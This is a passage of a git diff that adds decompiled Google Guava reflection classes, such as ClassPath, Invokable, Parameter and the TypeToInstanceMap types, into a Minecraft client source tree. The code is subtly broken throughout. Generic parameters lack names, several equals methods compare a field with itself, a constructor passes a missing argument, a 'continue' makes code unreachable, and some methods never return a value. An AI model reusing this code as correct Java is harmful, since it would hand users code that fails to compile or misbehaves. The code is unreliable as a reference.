+    for (Map.Entry<URI, ClassLoader> entry : getClassPathEntries(classloader).entrySet()) {
+      scanner.scan((URI)entry.getKey(), (ClassLoader)entry.getValue());
+    }
+    return new ClassPath(scanner.getResources());
+  }
+  
+
+
+
+  public ImmutableSet<ResourceInfo> getResources()
+  {
+    return resources;
+  }
+  
+
+
+
+
+  public ImmutableSet<ClassInfo> getAllClasses()
+  {
+    return FluentIterable.from(resources).filter(ClassInfo.class).toSet();
+  }
+  
+  public ImmutableSet<ClassInfo> getTopLevelClasses()
+  {
+    return FluentIterable.from(resources).filter(ClassInfo.class).filter(IS_TOP_LEVEL).toSet();
+  }
+  
+  public ImmutableSet<ClassInfo> getTopLevelClasses(String packageName)
+  {
+    Preconditions.checkNotNull(packageName);
+    ImmutableSet.Builder<ClassInfo> builder = ImmutableSet.builder();
+    for (ClassInfo classInfo : getTopLevelClasses()) {
+      if (classInfo.getPackageName().equals(packageName)) {
+        builder.add(classInfo);
+      }
+    }
+    return builder.build();
+  }
+  
+
+
+
+  public ImmutableSet<ClassInfo> getTopLevelClassesRecursive(String packageName)
+  {
+    Preconditions.checkNotNull(packageName);
+    String packagePrefix = packageName + '.';
+    ImmutableSet.Builder<ClassInfo> builder = ImmutableSet.builder();
+    for (ClassInfo classInfo : getTopLevelClasses()) {
+      if (classInfo.getName().startsWith(packagePrefix)) {
+        builder.add(classInfo);
+      }
+    }
+    return builder.build();
+  }
+  
+
+
+  @Beta
+  public static class ResourceInfo
+  {
+    private final String resourceName;
+    
+    final ClassLoader loader;
+    
+
+    static ResourceInfo of(String resourceName, ClassLoader loader)
+    {
+      if (resourceName.endsWith(".class")) {
+        return new ClassPath.ClassInfo(resourceName, loader);
+      }
+      return new ResourceInfo(resourceName, loader);
+    }
+    
+    ResourceInfo(String resourceName, ClassLoader loader)
+    {
+      this.resourceName = ((String)Preconditions.checkNotNull(resourceName));
+      this.loader = ((ClassLoader)Preconditions.checkNotNull(loader));
+    }
+    
+    public final URL url()
+    {
+      return (URL)Preconditions.checkNotNull(loader.getResource(resourceName), "Failed to load resource: %s", new Object[] { resourceName });
+    }
+    
+
+    public final String getResourceName()
+    {
+      return resourceName;
+    }
+    
+    public int hashCode() {
+      return resourceName.hashCode();
+    }
+    
+    public boolean equals(Object obj) {
+      if ((obj instanceof ResourceInfo)) {
+        ResourceInfo that = (ResourceInfo)obj;
+        return (resourceName.equals(resourceName)) && (loader == loader);
+      }
+      
+      return false;
+    }
+    
+    public String toString()
+    {
+      return resourceName;
+    }
+  }
+  
+
+  @Beta
+  public static final class ClassInfo
+    extends ClassPath.ResourceInfo
+  {
+    private final String className;
+    
+
+    ClassInfo(String resourceName, ClassLoader loader)
+    {
+      super(loader);
+      className = ClassPath.getClassName(resourceName);
+    }
+    
+
+
+
+
+
+    public String getPackageName()
+    {
+      return Reflection.getPackageName(className);
+    }
+    
+
+
+
+
+
+    public String getSimpleName()
+    {
+      int lastDollarSign = className.lastIndexOf('$');
+      if (lastDollarSign != -1) {
+        String innerClassName = className.substring(lastDollarSign + 1);
+        
+
+        return CharMatcher.DIGIT.trimLeadingFrom(innerClassName);
+      }
+      String packageName = getPackageName();
+      if (packageName.isEmpty()) {
+        return className;
+      }
+      
+
+      return className.substring(packageName.length() + 1);
+    }
+    
+
+
+
+
+
+    public String getName()
+    {
+      return className;
+    }
+    
+
+
+
+
+    public Class<?> load()
+    {
+      try
+      {
+        return loader.loadClass(className);
+      }
+      catch (ClassNotFoundException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public String toString() {
+      return className;
+    }
+  }
+  
+  @VisibleForTesting
+  static ImmutableMap<URI, ClassLoader> getClassPathEntries(ClassLoader classloader) {
+    LinkedHashMap<URI, ClassLoader> entries = Maps.newLinkedHashMap();
+    
+    ClassLoader parent = classloader.getParent();
+    if (parent != null) {
+      entries.putAll(getClassPathEntries(parent));
+    }
+    if ((classloader instanceof URLClassLoader)) {
+      URLClassLoader urlClassLoader = (URLClassLoader)classloader;
+      for (URL entry : urlClassLoader.getURLs()) {
+        URI uri;
+        try {
+          uri = entry.toURI();
+        } catch (URISyntaxException e) {
+          throw new IllegalArgumentException(e);
+        }
+        if (!entries.containsKey(uri)) {
+          entries.put(uri, classloader);
+        }
+      }
+    }
+    return ImmutableMap.copyOf(entries); }
+  
+  @VisibleForTesting
+  static final class Scanner { Scanner() {}
+    
+    private final ImmutableSortedSet.Builder<ClassPath.ResourceInfo> resources = new ImmutableSortedSet.Builder(Ordering.usingToString());
+    
+    private final Set<URI> scannedUris = Sets.newHashSet();
+    
+    ImmutableSortedSet<ClassPath.ResourceInfo> getResources() {
+      return resources.build();
+    }
+    
+    void scan(URI uri, ClassLoader classloader) throws IOException {
+      if ((uri.getScheme().equals("file")) && (scannedUris.add(uri))) {
+        scanFrom(new File(uri), classloader);
+      }
+    }
+    
+    @VisibleForTesting
+    void scanFrom(File file, ClassLoader classloader) throws IOException {
+      if (!file.exists()) {
+        return;
+      }
+      if (file.isDirectory()) {
+        scanDirectory(file, classloader);
+      } else {
+        scanJar(file, classloader);
+      }
+    }
+    
+    private void scanDirectory(File directory, ClassLoader classloader) throws IOException {
+      scanDirectory(directory, classloader, "", ImmutableSet.of());
+    }
+    
+    private void scanDirectory(File directory, ClassLoader classloader, String packagePrefix, ImmutableSet<File> ancestors)
+      throws IOException
+    {
+      File canonical = directory.getCanonicalFile();
+      if (ancestors.contains(canonical))
+      {
+        return;
+      }
+      File[] files = directory.listFiles();
+      if (files == null) {
+        ClassPath.logger.warning("Cannot read directory " + directory);
+        
+        return;
+      }
+      ImmutableSet<File> newAncestors = ImmutableSet.builder().addAll(ancestors).add(canonical).build();
+      
+
+
+      for (File f : files) {
+        String name = f.getName();
+        if (f.isDirectory()) {
+          scanDirectory(f, classloader, packagePrefix + name + "/", newAncestors);
+        } else {
+          String resourceName = packagePrefix + name;
+          if (!resourceName.equals("META-INF/MANIFEST.MF")) {
+            resources.add(ClassPath.ResourceInfo.of(resourceName, classloader));
+          }
+        }
+      }
+    }
+    
+    private void scanJar(File file, ClassLoader classloader) throws IOException {
+      JarFile jarFile;
+      try {
+        jarFile = new JarFile(file);
+      }
+      catch (IOException e) {
+        return;
+      }
+      try {
+        for (URI uri : getClassPathFromManifest(file, jarFile.getManifest())) {
+          scan(uri, classloader);
+        }
+        Enumeration<JarEntry> entries = jarFile.entries();
+        while (entries.hasMoreElements()) {
+          JarEntry entry = (JarEntry)entries.nextElement();
+          if ((!entry.isDirectory()) && (!entry.getName().equals("META-INF/MANIFEST.MF")))
+          {
+
+            resources.add(ClassPath.ResourceInfo.of(entry.getName(), classloader)); }
+        }
+        return;
+      } finally {
+        try { jarFile.close();
+        }
+        catch (IOException ignored) {}
+      }
+    }
+    
+
+
+
+
+    @VisibleForTesting
+    static ImmutableSet<URI> getClassPathFromManifest(File jarFile, @Nullable Manifest manifest)
+    {
+      if (manifest == null) {
+        return ImmutableSet.of();
+      }
+      ImmutableSet.Builder<URI> builder = ImmutableSet.builder();
+      String classpathAttribute = manifest.getMainAttributes().getValue(Attributes.Name.CLASS_PATH.toString());
+      
+      if (classpathAttribute != null) {
+        for (String path : ClassPath.CLASS_PATH_ATTRIBUTE_SEPARATOR.split(classpathAttribute)) {
+          URI uri;
+          try {
+            uri = getClassPathEntry(jarFile, path);
+          }
+          catch (URISyntaxException e) {
+            ClassPath.logger.warning("Invalid Class-Path entry: " + path); }
+          continue;
+          
+          builder.add(uri);
+        }
+      }
+      return builder.build();
+    }
+    
+
+
+
+
+    @VisibleForTesting
+    static URI getClassPathEntry(File jarFile, String path)
+      throws URISyntaxException
+    {
+      URI uri = new URI(path);
+      if (uri.isAbsolute()) {
+        return uri;
+      }
+      return new File(jarFile.getParentFile(), path.replace('/', File.separatorChar)).toURI();
+    }
+  }
+  
+  @VisibleForTesting
+  static String getClassName(String filename) {
+    int classNameEnd = filename.length() - ".class".length();
+    return filename.substring(0, classNameEnd).replace('/', '.');
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/Element.java b/src/minecraft/com/google/common/reflect/Element.java
new file mode 100644
index 0000000..bfbf280
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/Element.java
@@ -0,0 +1,168 @@
+package com.google.common.reflect;
+
+import com.google.common.base.Preconditions;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Member;
+import java.lang.reflect.Modifier;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Element
+  extends AccessibleObject
+  implements Member
+{
+  private final AccessibleObject accessibleObject;
+  private final Member member;
+  
+  <M extends AccessibleObject,  extends Member> Element(M member)
+  {
+    Preconditions.checkNotNull(member);
+    accessibleObject = member;
+    this.member = ((Member)member);
+  }
+  
+  public TypeToken<?> getOwnerType() {
+    return TypeToken.of(getDeclaringClass());
+  }
+  
+  public final boolean isAnnotationPresent(Class<? extends Annotation> annotationClass) {
+    return accessibleObject.isAnnotationPresent(annotationClass);
+  }
+  
+  public final <A extends Annotation> A getAnnotation(Class<A> annotationClass) {
+    return accessibleObject.getAnnotation(annotationClass);
+  }
+  
+  public final Annotation[] getAnnotations() {
+    return accessibleObject.getAnnotations();
+  }
+  
+  public final Annotation[] getDeclaredAnnotations() {
+    return accessibleObject.getDeclaredAnnotations();
+  }
+  
+  public final void setAccessible(boolean flag) throws SecurityException {
+    accessibleObject.setAccessible(flag);
+  }
+  
+  public final boolean isAccessible() {
+    return accessibleObject.isAccessible();
+  }
+  
+  public Class<?> getDeclaringClass() {
+    return member.getDeclaringClass();
+  }
+  
+  public final String getName() {
+    return member.getName();
+  }
+  
+  public final int getModifiers() {
+    return member.getModifiers();
+  }
+  
+  public final boolean isSynthetic() {
+    return member.isSynthetic();
+  }
+  
+  public final boolean isPublic()
+  {
+    return Modifier.isPublic(getModifiers());
+  }
+  
+  public final boolean isProtected()
+  {
+    return Modifier.isProtected(getModifiers());
+  }
+  
+  public final boolean isPackagePrivate()
+  {
+    return (!isPrivate()) && (!isPublic()) && (!isProtected());
+  }
+  
+  public final boolean isPrivate()
+  {
+    return Modifier.isPrivate(getModifiers());
+  }
+  
+  public final boolean isStatic()
+  {
+    return Modifier.isStatic(getModifiers());
+  }
+  
+
+
+
+
+
+
+  public final boolean isFinal()
+  {
+    return Modifier.isFinal(getModifiers());
+  }
+  
+  public final boolean isAbstract()
+  {
+    return Modifier.isAbstract(getModifiers());
+  }
+  
+  public final boolean isNative()
+  {
+    return Modifier.isNative(getModifiers());
+  }
+  
+  public final boolean isSynchronized()
+  {
+    return Modifier.isSynchronized(getModifiers());
+  }
+  
+  final boolean isVolatile()
+  {
+    return Modifier.isVolatile(getModifiers());
+  }
+  
+  final boolean isTransient()
+  {
+    return Modifier.isTransient(getModifiers());
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    if ((obj instanceof Element)) {
+      Element that = (Element)obj;
+      return (getOwnerType().equals(that.getOwnerType())) && (member.equals(member));
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return member.hashCode();
+  }
+  
+  public String toString() {
+    return member.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/ImmutableTypeToInstanceMap.java b/src/minecraft/com/google/common/reflect/ImmutableTypeToInstanceMap.java
new file mode 100644
index 0000000..1ed3e6b
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/ImmutableTypeToInstanceMap.java
@@ -0,0 +1,138 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.collect.ForwardingMap;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableMap.Builder;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class ImmutableTypeToInstanceMap<B>
+  extends ForwardingMap<TypeToken<? extends B>, B>
+  implements TypeToInstanceMap<B>
+{
+  private final ImmutableMap<TypeToken<? extends B>, B> delegate;
+  
+  public static <B> ImmutableTypeToInstanceMap<B> of()
+  {
+    return new ImmutableTypeToInstanceMap(ImmutableMap.of());
+  }
+  
+  public static <B> Builder<B> builder()
+  {
+    return new Builder(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static final class Builder<B>
+  {
+    private final ImmutableMap.Builder<TypeToken<? extends B>, B> mapBuilder = ImmutableMap.builder();
+    
+
+
+    private Builder() {}
+    
+
+
+    public <T extends B> Builder<B> put(Class<T> key, T value)
+    {
+      mapBuilder.put(TypeToken.of(key), value);
+      return this;
+    }
+    
+
+
+
+    public <T extends B> Builder<B> put(TypeToken<T> key, T value)
+    {
+      mapBuilder.put(key.rejectTypeVariables(), value);
+      return this;
+    }
+    
+
+
+
+
+
+    public ImmutableTypeToInstanceMap<B> build()
+    {
+      return new ImmutableTypeToInstanceMap(mapBuilder.build(), null);
+    }
+  }
+  
+
+  private ImmutableTypeToInstanceMap(ImmutableMap<TypeToken<? extends B>, B> delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  public <T extends B> T getInstance(TypeToken<T> type) {
+    return trustedGet(type.rejectTypeVariables());
+  }
+  
+
+
+
+
+  public <T extends B> T putInstance(TypeToken<T> type, T value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public <T extends B> T getInstance(Class<T> type) {
+    return trustedGet(TypeToken.of(type));
+  }
+  
+
+
+
+
+  public <T extends B> T putInstance(Class<T> type, T value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected Map<TypeToken<? extends B>, B> delegate() {
+    return delegate;
+  }
+  
+  private <T extends B> T trustedGet(TypeToken<T> type)
+  {
+    return delegate.get(type);
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/Invokable.java b/src/minecraft/com/google/common/reflect/Invokable.java
new file mode 100644
index 0000000..f6294cc
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/Invokable.java
@@ -0,0 +1,330 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableList.Builder;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.GenericDeclaration;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Member;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.util.Arrays;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class Invokable<T, R>
+  extends Element
+  implements GenericDeclaration
+{
+  <M extends AccessibleObject,  extends Member> Invokable(M member)
+  {
+    super(member);
+  }
+  
+  public static Invokable<?, Object> from(Method method)
+  {
+    return new MethodInvokable(method);
+  }
+  
+  public static <T> Invokable<T, T> from(Constructor<T> constructor)
+  {
+    return new ConstructorInvokable(constructor);
+  }
+  
+
+
+
+
+
+
+
+  public abstract boolean isOverridable();
+  
+
+
+
+
+
+
+  public abstract boolean isVarArgs();
+  
+
+
+
+
+
+
+  public final R invoke(@Nullable T receiver, Object... args)
+    throws InvocationTargetException, IllegalAccessException
+  {
+    return invokeInternal(receiver, (Object[])Preconditions.checkNotNull(args));
+  }
+  
+
+
+  public final TypeToken<? extends R> getReturnType()
+  {
+    return TypeToken.of(getGenericReturnType());
+  }
+  
+
+
+
+
+  public final ImmutableList<Parameter> getParameters()
+  {
+    Type[] parameterTypes = getGenericParameterTypes();
+    Annotation[][] annotations = getParameterAnnotations();
+    ImmutableList.Builder<Parameter> builder = ImmutableList.builder();
+    for (int i = 0; i < parameterTypes.length; i++) {
+      builder.add(new Parameter(this, i, TypeToken.of(parameterTypes[i]), annotations[i]));
+    }
+    
+    return builder.build();
+  }
+  
+  public final ImmutableList<TypeToken<? extends Throwable>> getExceptionTypes()
+  {
+    ImmutableList.Builder<TypeToken<? extends Throwable>> builder = ImmutableList.builder();
+    for (Type type : getGenericExceptionTypes())
+    {
+
+      TypeToken<? extends Throwable> exceptionType = TypeToken.of(type);
+      
+      builder.add(exceptionType);
+    }
+    return builder.build();
+  }
+  
+
+
+
+
+
+  public final <R1 extends R> Invokable<T, R1> returning(Class<R1> returnType)
+  {
+    return returning(TypeToken.of(returnType));
+  }
+  
+  public final <R1 extends R> Invokable<T, R1> returning(TypeToken<R1> returnType)
+  {
+    if (!returnType.isAssignableFrom(getReturnType())) {
+      throw new IllegalArgumentException("Invokable is known to return " + getReturnType() + ", not " + returnType);
+    }
+    
+
+    Invokable<T, R1> specialized = this;
+    return specialized;
+  }
+  
+  public final Class<? super T> getDeclaringClass()
+  {
+    return super.getDeclaringClass();
+  }
+  
+
+
+  public TypeToken<T> getOwnerType()
+  {
+    return TypeToken.of(getDeclaringClass());
+  }
+  
+  abstract Object invokeInternal(@Nullable Object paramObject, Object[] paramArrayOfObject) throws InvocationTargetException, IllegalAccessException;
+  
+  abstract Type[] getGenericParameterTypes();
+  
+  abstract Type[] getGenericExceptionTypes();
+  
+  abstract Annotation[][] getParameterAnnotations();
+  
+  abstract Type getGenericReturnType();
+  
+  static class MethodInvokable<T>
+    extends Invokable<T, Object>
+  {
+    final Method method;
+    
+    MethodInvokable(Method method)
+    {
+      super();
+      this.method = method;
+    }
+    
+    final Object invokeInternal(@Nullable Object receiver, Object[] args) throws InvocationTargetException, IllegalAccessException
+    {
+      return method.invoke(receiver, args);
+    }
+    
+    Type getGenericReturnType() {
+      return method.getGenericReturnType();
+    }
+    
+    Type[] getGenericParameterTypes() {
+      return method.getGenericParameterTypes();
+    }
+    
+    Type[] getGenericExceptionTypes() {
+      return method.getGenericExceptionTypes();
+    }
+    
+    final Annotation[][] getParameterAnnotations() {
+      return method.getParameterAnnotations();
+    }
+    
+    public final TypeVariable<?>[] getTypeParameters() {
+      return method.getTypeParameters();
+    }
+    
+    public final boolean isOverridable() {
+      return (!isFinal()) && (!isPrivate()) && (!isStatic()) && (!Modifier.isFinal(getDeclaringClass().getModifiers()));
+    }
+    
+    public final boolean isVarArgs()
+    {
+      return method.isVarArgs();
+    }
+  }
+  
+  static class ConstructorInvokable<T> extends Invokable<T, T>
+  {
+    final Constructor<?> constructor;
+    
+    ConstructorInvokable(Constructor<?> constructor) {
+      super();
+      this.constructor = constructor;
+    }
+    
+    final Object invokeInternal(@Nullable Object receiver, Object[] args) throws InvocationTargetException, IllegalAccessException
+    {
+      try {
+        return constructor.newInstance(args);
+      } catch (InstantiationException e) {
+        throw new RuntimeException(constructor + " failed.", e);
+      }
+    }
+    
+    Type getGenericReturnType()
+    {
+      Class<?> declaringClass = getDeclaringClass();
+      TypeVariable<?>[] typeParams = declaringClass.getTypeParameters();
+      if (typeParams.length > 0) {
+        return Types.newParameterizedType(declaringClass, typeParams);
+      }
+      return declaringClass;
+    }
+    
+    Type[] getGenericParameterTypes()
+    {
+      Type[] types = constructor.getGenericParameterTypes();
+      if ((types.length > 0) && (mayNeedHiddenThis())) {
+        Class<?>[] rawParamTypes = constructor.getParameterTypes();
+        if ((types.length == rawParamTypes.length) && (rawParamTypes[0] == getDeclaringClass().getEnclosingClass()))
+        {
+
+          return (Type[])Arrays.copyOfRange(types, 1, types.length);
+        }
+      }
+      return types;
+    }
+    
+    Type[] getGenericExceptionTypes() {
+      return constructor.getGenericExceptionTypes();
+    }
+    
+    final Annotation[][] getParameterAnnotations() {
+      return constructor.getParameterAnnotations();
+    }
+    
+
+
+
+
+
+
+
+
+    public final TypeVariable<?>[] getTypeParameters()
+    {
+      TypeVariable<?>[] declaredByClass = getDeclaringClass().getTypeParameters();
+      TypeVariable<?>[] declaredByConstructor = constructor.getTypeParameters();
+      TypeVariable<?>[] result = new TypeVariable[declaredByClass.length + declaredByConstructor.length];
+      
+      System.arraycopy(declaredByClass, 0, result, 0, declaredByClass.length);
+      System.arraycopy(declaredByConstructor, 0, result, declaredByClass.length, declaredByConstructor.length);
+      
+
+
+      return result;
+    }
+    
+    public final boolean isOverridable() {
+      return false;
+    }
+    
+    public final boolean isVarArgs() {
+      return constructor.isVarArgs();
+    }
+    
+    private boolean mayNeedHiddenThis() {
+      Class<?> declaringClass = constructor.getDeclaringClass();
+      if (declaringClass.getEnclosingConstructor() != null)
+      {
+        return true;
+      }
+      Method enclosingMethod = declaringClass.getEnclosingMethod();
+      if (enclosingMethod != null)
+      {
+        return !Modifier.isStatic(enclosingMethod.getModifiers());
+      }
+      
+
+
+
+
+
+      return (declaringClass.getEnclosingClass() != null) && (!Modifier.isStatic(declaringClass.getModifiers()));
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/MutableTypeToInstanceMap.java b/src/minecraft/com/google/common/reflect/MutableTypeToInstanceMap.java
new file mode 100644
index 0000000..d14722e
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/MutableTypeToInstanceMap.java
@@ -0,0 +1,143 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ForwardingMap;
+import com.google.common.collect.ForwardingMapEntry;
+import com.google.common.collect.ForwardingSet;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class MutableTypeToInstanceMap<B>
+  extends ForwardingMap<TypeToken<? extends B>, B>
+  implements TypeToInstanceMap<B>
+{
+  private final Map<TypeToken<? extends B>, B> backingMap;
+  
+  public MutableTypeToInstanceMap()
+  {
+    backingMap = Maps.newHashMap();
+  }
+  
+  @Nullable
+  public <T extends B> T getInstance(Class<T> type) {
+    return trustedGet(TypeToken.of(type));
+  }
+  
+  @Nullable
+  public <T extends B> T putInstance(Class<T> type, @Nullable T value)
+  {
+    return trustedPut(TypeToken.of(type), value);
+  }
+  
+  @Nullable
+  public <T extends B> T getInstance(TypeToken<T> type)
+  {
+    return trustedGet(type.rejectTypeVariables());
+  }
+  
+  @Nullable
+  public <T extends B> T putInstance(TypeToken<T> type, @Nullable T value)
+  {
+    return trustedPut(type.rejectTypeVariables(), value);
+  }
+  
+  public B put(TypeToken<? extends B> key, B value)
+  {
+    throw new UnsupportedOperationException("Please use putInstance() instead.");
+  }
+  
+  public void putAll(Map<? extends TypeToken<? extends B>, ? extends B> map)
+  {
+    throw new UnsupportedOperationException("Please use putInstance() instead.");
+  }
+  
+  public Set<Map.Entry<TypeToken<? extends B>, B>> entrySet() {
+    return UnmodifiableEntry.transformEntries(super.entrySet());
+  }
+  
+  protected Map<TypeToken<? extends B>, B> delegate() {
+    return backingMap;
+  }
+  
+  @Nullable
+  private <T extends B> T trustedPut(TypeToken<T> type, @Nullable T value)
+  {
+    return backingMap.put(type, value);
+  }
+  
+  @Nullable
+  private <T extends B> T trustedGet(TypeToken<T> type)
+  {
+    return backingMap.get(type);
+  }
+  
+  private static final class UnmodifiableEntry<K, V> extends ForwardingMapEntry<K, V>
+  {
+    private final Map.Entry<K, V> delegate;
+    
+    static <K, V> Set<Map.Entry<K, V>> transformEntries(Set<Map.Entry<K, V>> entries) {
+      new ForwardingSet() {
+        protected Set<Map.Entry<K, V>> delegate() {
+          return val$entries;
+        }
+        
+        public Iterator<Map.Entry<K, V>> iterator() { return MutableTypeToInstanceMap.UnmodifiableEntry.transformEntries(super.iterator()); }
+        
+        public Object[] toArray() {
+          return standardToArray();
+        }
+        
+        public <T> T[] toArray(T[] array) { return standardToArray(array); }
+      };
+    }
+    
+    private static <K, V> Iterator<Map.Entry<K, V>> transformEntries(Iterator<Map.Entry<K, V>> entries)
+    {
+      Iterators.transform(entries, new Function() {
+        public Map.Entry<K, V> apply(Map.Entry<K, V> entry) {
+          return new MutableTypeToInstanceMap.UnmodifiableEntry(entry, null);
+        }
+      });
+    }
+    
+    private UnmodifiableEntry(Map.Entry<K, V> delegate) {
+      this.delegate = ((Map.Entry)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected Map.Entry<K, V> delegate() {
+      return delegate;
+    }
+    
+    public V setValue(V value) {
+      throw new UnsupportedOperationException();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/Parameter.java b/src/minecraft/com/google/common/reflect/Parameter.java
new file mode 100644
index 0000000..39ff294
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/Parameter.java
@@ -0,0 +1,103 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.AnnotatedElement;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Parameter
+  implements AnnotatedElement
+{
+  private final Invokable<?, ?> declaration;
+  private final int position;
+  private final TypeToken<?> type;
+  private final ImmutableList<Annotation> annotations;
+  
+  Parameter(Invokable<?, ?> declaration, int position, TypeToken<?> type, Annotation[] annotations)
+  {
+    this.declaration = declaration;
+    this.position = position;
+    this.type = type;
+    this.annotations = ImmutableList.copyOf(annotations);
+  }
+  
+  public TypeToken<?> getType()
+  {
+    return type;
+  }
+  
+  public Invokable<?, ?> getDeclaringInvokable()
+  {
+    return declaration;
+  }
+  
+  public boolean isAnnotationPresent(Class<? extends Annotation> annotationType) {
+    return getAnnotation(annotationType) != null;
+  }
+  
+  @Nullable
+  public <A extends Annotation> A getAnnotation(Class<A> annotationType)
+  {
+    Preconditions.checkNotNull(annotationType);
+    for (Annotation annotation : annotations) {
+      if (annotationType.isInstance(annotation)) {
+        return (Annotation)annotationType.cast(annotation);
+      }
+    }
+    return null;
+  }
+  
+  public Annotation[] getAnnotations() {
+    return getDeclaredAnnotations();
+  }
+  
+  public Annotation[] getDeclaredAnnotations() {
+    return (Annotation[])annotations.toArray(new Annotation[annotations.size()]);
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    if ((obj instanceof Parameter)) {
+      Parameter that = (Parameter)obj;
+      return (position == position) && (declaration.equals(declaration));
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return position;
+  }
+  
+  public String toString() {
+    return type + " arg" + position;
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/Reflection.java b/src/minecraft/com/google/common/reflect/Reflection.java
new file mode 100644
index 0000000..977f0ef
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/Reflection.java
@@ -0,0 +1,98 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Proxy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Reflection
+{
+  public static String getPackageName(Class<?> clazz)
+  {
+    return getPackageName(clazz.getName());
+  }
+  
+
+
+
+
+  public static String getPackageName(String classFullName)
+  {
+    int lastDot = classFullName.lastIndexOf('.');
+    return lastDot < 0 ? "" : classFullName.substring(0, lastDot);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void initialize(Class<?>... classes)
+  {
+    for (Class<?> clazz : classes) {
+      try {
+        Class.forName(clazz.getName(), true, clazz.getClassLoader());
+      } catch (ClassNotFoundException e) {
+        throw new AssertionError(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> T newProxy(Class<T> interfaceType, InvocationHandler handler)
+  {
+    Preconditions.checkNotNull(handler);
+    Preconditions.checkArgument(interfaceType.isInterface(), "%s is not an interface", new Object[] { interfaceType });
+    Object object = Proxy.newProxyInstance(interfaceType.getClassLoader(), new Class[] { interfaceType }, handler);
+    
+
+
+    return interfaceType.cast(object);
+  }
+  
+  private Reflection() {}
+}
diff --git a/src/minecraft/com/google/common/reflect/TypeCapture.java b/src/minecraft/com/google/common/reflect/TypeCapture.java
new file mode 100644
index 0000000..c252154
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeCapture.java
@@ -0,0 +1,38 @@
+package com.google.common.reflect;
+
+import com.google.common.base.Preconditions;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class TypeCapture<T>
+{
+  TypeCapture() {}
+  
+  final Type capture()
+  {
+    Type superclass = getClass().getGenericSuperclass();
+    Preconditions.checkArgument(superclass instanceof ParameterizedType, "%s isn't parameterized", new Object[] { superclass });
+    
+    return ((ParameterizedType)superclass).getActualTypeArguments()[0];
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/TypeParameter.java b/src/minecraft/com/google/common/reflect/TypeParameter.java
new file mode 100644
index 0000000..130f90e
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeParameter.java
@@ -0,0 +1,67 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class TypeParameter<T>
+  extends TypeCapture<T>
+{
+  final TypeVariable<?> typeVariable;
+  
+  protected TypeParameter()
+  {
+    Type type = capture();
+    Preconditions.checkArgument(type instanceof TypeVariable, "%s should be a type variable.", new Object[] { type });
